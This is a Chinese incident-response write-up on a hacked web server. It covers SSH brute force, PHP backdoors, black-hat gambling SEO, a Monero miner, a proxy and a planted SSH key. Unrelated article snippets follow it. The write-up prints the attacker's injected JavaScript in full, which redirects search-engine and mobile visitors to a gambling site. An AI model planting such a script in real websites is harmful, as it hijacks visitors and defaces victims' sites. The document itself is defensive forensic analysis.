记一次服务器入侵事件的应急响应
0x01 事件背景
8月某日,客户官网被黑,需在特定时间内完成整改。为避免客户业务受到影响,实验室相关人员第一时间展开本次攻击事件的应急处理。
0x02 事件分析
网站源码被篡改,攻击者一定获取到了权限,那么接下来的思路就是推测攻击者入侵手段,找到业务脆弱点,对服务器进行全方位排查,找到攻击者留下来的痕迹并进行分析处理。
2.1 信息收集
与客户简单沟通后,得知如下基本信息:
-
官网服务器为租赁的阿里云虚拟专用服务器
-
虚拟专用服务器上部署的官网后台使用了DedeCMS织梦系统
-
虚拟专用服务器安装了宝塔面板服务器运维系统
-
虚拟专用服务器安装的宝塔面板的密码已被篡改
2.2 攻击入口判断
服务器开放了SSH、宝塔、DedeCMS等3个服务,那么接下来我们从服务器开放的服务来推测可能的攻击入口。
玩过宝塔的朋友都知道,宝塔后台路径未知的情况下,通过宝塔后台GetShell基本上是不可能的。此外,客户设置的BT面板的用户名也有些复杂,所以推断攻击者从宝塔下手的可能性很小(这里埋个坑,前面提到客户宝塔后台密码被修改的情况,后面会说到原因)。
客户官网使用的DedeCMS版本为 v5.7
sp2,尝试所有公开漏洞均未成功。并且,DedeCMS的后台密码没有规律,所以推测从DedeCMS入侵的可能性也不是很大。
客户给出了服务器的账号密码,我们的第一反应是入侵从SSH弱口令开始的。因为我的爆破字典里包含了服务器的密码(手动笑哭),但这显然还不能直接让客户信服。
综上,高度怀疑服务器是被爆破SSH弱口令后导致了后续的入侵行为。
2.3 应急响应
在判断攻击入口后,我们登录客户的服务器,仔细抡了一遍,只能说服务器上的东西有点多。。。
2.3.1 BC黑页 &PHP后门
首先访问客户首页,发现官网页面表面没有任何异常,也并未被重定向到BC网站。但是实际上网页Meta信息被篡改,且会异步请求BC网站和百度统计的若干接口。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eemX4nRT-1677205556073)(https://image.3001.net/images/20220908/1662604126_6319535e83d98569a6a68.png!small)]
推测攻击者的目的应为BC网站SEO优化,提高网站的SEO排名。
定位到服务器上的DedeCMS网站源码,发现源码在7月17日被修改植入了恶意代码。
网站源码被插入2个新的meta元素,以及一段JavaScript代码。下图为新增的meta元素,解码后发现是菠菜搜索关键词。
新插入的JavaScript代码如下图所示。解码后发现是一段引用外部js的代码。
恶意js文件的内容为:
此文件的作用就是插入https://sjbgw2022.com/tb.js的恶意文件以及对恶意SEO优化。
继续查看tb.js这个文件内容:
//这里省略一大段代码,因为代码内容与ly.js内容一致都是对恶意SEO的优化
//上面的代码与之前一样作用就是推送自动收录。
//JS正则表达式判断来路,如果是下列搜索引擎则指定跳转网址。
var regexp=/\.(sogou|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe|toutiao|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="https://tb04.cc/";//满足就跳转至菠菜页面。
}//更详细的检测,判断是否包含搜索引擎字段,是则跳转至菠菜页面。var sp_regexps =/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;
var sp_whereis = window.location.referrer;
try {sp_whereis = top.document.referrer;
} catch (e) {}
try {sp_whereis = window.parent.document.referrer;
} catch (e) {}
var sp_domains = window.location.host;
try {sp_domains = top.document.domain;
} catch (e) {}
try {sp_domains = window.parent.document.domain;
} catch (e) {}
if (sp_regexps.test(sp_whereis)) {window.location.href = 'https://tb04.cc';parent.window.opener.location = 'https://tb04.cc';
}//判断是否是移动端,满足也跳转至菠菜页面。
function browserRedirect() {var sUserAgent = navigator.userAgent.toLowerCase();var bIsIpad = sUserAgent.match(/ipad/i) == 'ipad';var bIsIphoneOs = sUserAgent.match(/iphone os/i) == 'iphone os';var bIsMidp = sUserAgent.match(/midp/i) == 'midp';var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == 'rv:1.2.3.4';var bIsAndroid = sUserAgent.match(/android/i) == 'android';var bIsCE = sUserAgent.match(/windows ce/i) == 'windows ce';var bIsWM = sUserAgent.match(/windows mobile/i) == 'windows mobile';if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)) {} else {window.location.href = 'https://tb04.cc';}
}
browserRedirect();
发现这个文件的作用是恶意SEO优化,判断访问网站的来路,如果是从搜索引擎过来的就会跳转至菠菜页面,如果是直接访问官网则不会有变化。菠菜页面截图如下所示:
此外,在DedeCMS源码目录发现了很多PHP后门。
2.3.2 宝塔沦陷
接下来我们进行了日志排查,发现系统日志都已经被清理。
前面说到宝塔密码已被修改,那么为了登入宝塔,我们直接修改宝塔密码。在服务器上输入bt命令进行修改。
登入宝塔后台后,我们发现最后一次登录时间为7月16日,攻击者上传了一个名为zxc.php的木马文件。
网站日志未被删除,日志显示攻击者在7月17日通过zxc.php上传大量后门文件,下图为日志访问记录截图。
下图为一个PHP大马的截图。
综上所述,推断攻击者是菠菜SEO黑产组织,攻击手法为利用SSH弱口令远程登录服务器,修改宝塔后台密码后上传木马,进而通过代理机器继续上传其它木马文件。这是2.2节中所述的宝塔密码被篡改的原因。
2.3.3 门罗币挖矿木马
服务器上的问题还不仅仅是被挂黑页这么简单。服务器进程排查过程中发现,某进程CPU占用率特别高,不出意外就是挖矿程序了。
跟踪定位文件位置为/root/.warmup/。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y36ajGmk-1677205556077)(https://image.3001.net/images/20220909/1662713197_631afd6d3f5e73e203ce3.png!small)]
发现挖矿配置文件/root/.warmup/config.json。
从网络通联信息发现矿池地址为5.133.65.53至5.133.65.56的IP段。威胁情报表明这是一个门罗币矿池。
杀死挖矿进程后程序自启动,删除挖矿文件后发现过一段时间文件会被重新下载并运行。这说明存在挖矿守护进程或定时任务。经分析,发现一个5月7日就创建的定时挖矿任务。
somescript文件内容为创建一个挖矿自启动服务warmup,保证进程或文件被删除后能重新加载挖矿程序。
2.3.4 xray代理
Xray是V2ray的一个分支(Fork)。Xray项目基于V2ray而来,其支持并且兼容V2ray的配置,其官方网站为(https://xtls.github.io/Xray-
docs-next/),我们在进程排查中发现有Xray程序正在运行。
Xray最后一次运行时间为8月17日。
2.3.5 SSH后门
最后,除了后门、定时任务外,继续查看服务器上是否有攻击者留下的手段。我们发现服务器在5月9日被写入SSH公钥,经与客户确认不是客户所为。
0x03 应急处理
客户有业务数据备份,那么处理和加固就简单多了。我们对服务器进行了如下操作:
-
重置系统服务器
-
修改服务器、系统后台的口令,加强口令复杂度,避免出现连续性口令
-
自定义日志目录,避免日志被删除
-
网站目录设置除root外所有用户禁止写入
-
上传目录做权限设置
0x04 事件还原与总结
我们推测攻击者不止一个,并且都是通过SSH弱口令入侵服务器。事件时间线如下图所示:
第一波攻击者可能是挖矿组织,在5月7日大概率利用SSH弱口令进入服务器上传挖矿程序somescript,且做了对应的维持手段。
第二波攻击者可能是黑产组织,攻击时间为7月16日至7月17日,其操作是对网站做黑帽SEO,更改宝塔后台并上传大量后门。
第三波攻击者应该只是想控制一批跳板机,在8月17日上传了代理程序,目前在服务器上出现的恶意事件最后截止也是到8月17日。
网络安全工程师企业级学习路线
这时候你当然需要一份系统性的学习路线
如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。
一些我收集的网络安全自学入门书籍
一些我白嫖到的不错的视频教程:
上述资料【扫下方二维码】就可以领取了,无偿分享
相关文章:

记一次服务器入侵事件的应急响应
0x01 事件背景 8月某日,客户官网被黑,需在特定时间内完成整改。为避免客户业务受到影响,实验室相关人员第一时间展开本次攻击事件的应急处理。 0x02 事件分析 网站源码被篡改,攻击者一定获取到了权限,那么接下来的思…...
作用域链查找机制(回顾)
全局 / 私有变量作用域的概念作用域链 scopeChain 的概念作用域链 scopeChain 的形成函数执行步骤作用域链查找机制 全局 / 私有变量 全局变量:在全局上下文EC(G)中的全局变量对象VO(G)中,存储的变量 私有变量:在函数执行形成的私有上下文EC(XXX)中的变…...

前端基础之HTML扫盲
文章目录一. 第一个HTML程序1. 创建一个HTML文件并运行2. HTML的基本结构二. HTML常见标签1. 注释标签2. 标题标签3. 段落标签4. 换行标签5. 格式化标签6. 图片标签7. 超链接标签8. 表格标签9. 列表标签10. 表单标签10.1 input标签10.2 select标签10.3 textarea标签11. 无语义标…...

大规模食品图像识别:T-PAMI 2023论文解读
美团基础研发平台视觉智能部与中科院计算所展开科研课题合作,共同构建大规模数据集Food2K,并提出渐进式区域增强网络用于食品图像识别,相关研究成果已发表于T-PAMI 2023。本文主要介绍了数据集特点、方法设计、性能对比,以及基于该…...
【java】Spring Cloud --Spring Cloud Alibaba RocketMq 异步通信实现
文章目录介绍RocketMQ特点Spring Cloud StreamWindow搭建部署RocketMQ下载启动NameServer服务启动Broker服务示例创建 RocketMQ 消息生产者创建 RocketMQ 消息消费者使用示例示例关联项目运行示例测试介绍 RocketMQ 是一款开源的分布式消息系统,基于高可用分布式集…...

玫瑰花变蚊子血,自动化无痕浏览器对比测试,新贵PlayWright Vs 老牌Selenium,基于Python3.10
也许每一个男子全都有过这样的两个女人,至少两个。娶了红玫瑰,久而久之,红的变了墙上的一抹蚊子血,白的还是床前明月光;娶了白玫瑰,白的便是衣服上沾的一粒饭黏子,红的却是心口上一颗朱砂痣。–…...

Spring Cloud入门篇 Hello World | Spring Cloud 1
一、专栏说明 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如:服务发现/注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。 本文主要介绍Spring C…...
C++学习笔记-数据结构
结构 是C中另一种用户自定义的可用数据类型,允许存储不同类型的数据项。 C/C 数组允许定义可存储相同类型数据项的变量,但是结构是 C 中另一种用户自定义的可用的数据类型,它允许存储不同类型的数据项。 结构用于表示一条记录,假…...

【C++的OpenCV】第五课-OpenCV图像常用操作(二):OpenCV的基本绘图、平滑滤波(模糊)处理
让我们继续一、OpenCV基本绘图1.1 OpenCV关于绘图的操作1.1.1 cv::Point()1.1.2 cv::Scalar()1.1.3 cv::line()画线1.1.4 cv::rectangle()画矩形1.1.5 cv::circle()画圆二、图像的平滑滤波处理2.1 概念2.2 OpenCV关于图像模糊的操作2.2.1 常用滤波器的分类2.2.2 各种滤波方法具…...

[SSD固态硬盘技术 19] 谁是数据的守护神? 盘内RAID1/RAID5图文详解_盘内数据冗余保护
版权声明: 付费作品,禁止转载前言提到冗余保护,最容易想到的就是RAID(Redundant Arrays of Independent Disks) , 独立冗余磁盘阵列。它是一种把多块独立的物理硬盘按不同方式组合形成一个硬盘组,以此提供比单个硬盘更高的存储性能…...
linux相对于windows环境为啥相对来说更加具有安全性
linux相对于windows环境为啥相对来说更加具有安全性 文章目录linux相对于windows环境为啥相对来说更加具有安全性前言一、linux不需要防病毒软件1.1Linux 桌面的恶意软件很少见1.2Linux 的软件安装更安全1.3Linux 保护自己免受恶意软件的侵害1.4杀毒效果存疑1.5Linux 良好的安全…...
iOS开发笔记之九十七——关于Restful API的一些总结
*****阅读完此文,大概需要3分钟******一、什么是 Restful API?Restful(Representational State Transfer表现层状态转换)是目前最流行的接口设计规范。Restful API 是一种设计风格(是设计风格而不是标准)&a…...

Linux系统Nginx下载和安装
文章目录golang学习面试网站Linux启动nginx参考Linux启动nginx版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/weixin_36755535/article/details/110…...

交叉编译 acl
交叉编译 acl 概述 访问控制列表(Access Control Lists,ACL)是应用在路由器接口的指令列表。在 Linux 系统中,ACL 用于设定用户针对文件的权限,而不是在交换路由器中用来控制数据访问的功能(类似于防火墙…...

wait/notify方法 等待唤醒机制
线程正在运行,调用这个线程的wait()方法,这个线程就会进入一个集合进行等待(这个集合的线程不会争抢cpu),此时线程的状态就是waiting 当有线程调用notify()方法的时候,就会从集合中挑选一个线程进入到排队队列里面 notifyAll就是…...
c++笔记之构造函数中的default作用
一、 举例: class Student {int ID;std::string sName; };Student s1; Student s2(s1); 在不定义任何构造函数的情况下,Student对象能定义成功,因为编译器会默认为我们设置几个构造函数,多的不说了,就说最简单的两个: (1) Student s1; 这个就是会调用编译器为我们…...

【代码随想录二刷】Day24-回溯-C++
代码随想录二刷Day24 今日任务 理论基础 77.组合 语言:C 理论基础 解决的问题 ① 组合问题:不考虑顺序 ② 切割问题 ③ 子集问题 ④ 排列问题:考虑顺序 ⑤ 棋盘问题:N皇后,解数独回溯法三部曲 ① 回溯函数模板返回…...
Kubernetes中YAML 文件简介
我们在安装 kubernetes 集群的时候使用了一些 YAML 文件来创建相关的资源,但是对 YAML 文件还是非常陌生。所以我们先来简单看一看 YAML 文件是如何工作的,并使用 YAML 文件来定义一个 kubernetes pod,然后再来定义一个 kubernetes deploymen…...

骨传导耳机是怎么发声的,骨传导耳机值得入手嘛
现在市面上除了我们平时比较常见的有线耳机、头戴耳机、真无线耳机,近两年还涌现出了一种有着黑科技之称的特别耳机——骨传导耳机,并且因其在运动场景下的优势过于明显而得到了众多运动爱好者的大力追捧。那么今天我们就来聊聊这款所谓的黑科技骨传导耳…...

会声会影2023官方新功能介绍
深入简单直观的视频编辑!使用 Corel VideoStudio会声会影2023,将您最美好的时刻和生活体验变成令人惊叹的电影,这是一款有趣且直观的视频编辑器,包含高级工具和高级效果。从自定义标题和过渡,到 Mask Creator、Color G…...
变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析
一、变量声明设计:let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性,这种设计体现了语言的核心哲学。以下是深度解析: 1.1 设计理念剖析 安全优先原则:默认不可变强制开发者明确声明意图 let x 5; …...
【Linux】shell脚本忽略错误继续执行
在 shell 脚本中,可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行,可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令,并忽略错误 rm somefile…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...

【JVM】- 内存结构
引言 JVM:Java Virtual Machine 定义:Java虚拟机,Java二进制字节码的运行环境好处: 一次编写,到处运行自动内存管理,垃圾回收的功能数组下标越界检查(会抛异常,不会覆盖到其他代码…...

Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...
AGain DB和倍数增益的关系
我在设置一款索尼CMOS芯片时,Again增益0db变化为6DB,画面的变化只有2倍DN的增益,比如10变为20。 这与dB和线性增益的关系以及传感器处理流程有关。以下是具体原因分析: 1. dB与线性增益的换算关系 6dB对应的理论线性增益应为&…...
音视频——I2S 协议详解
I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议,专门用于在数字音频设备之间传输数字音频数据。它由飞利浦(Philips)公司开发,以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...

破解路内监管盲区:免布线低位视频桩重塑停车管理新标准
城市路内停车管理常因行道树遮挡、高位设备盲区等问题,导致车牌识别率低、逃费率高,传统模式在复杂路段束手无策。免布线低位视频桩凭借超低视角部署与智能算法,正成为破局关键。该设备安装于车位侧方0.5-0.7米高度,直接规避树枝遮…...
嵌入式常见 CPU 架构
架构类型架构厂商芯片厂商典型芯片特点与应用场景PICRISC (8/16 位)MicrochipMicrochipPIC16F877A、PIC18F4550简化指令集,单周期执行;低功耗、CIP 独立外设;用于家电、小电机控制、安防面板等嵌入式场景8051CISC (8 位)Intel(原始…...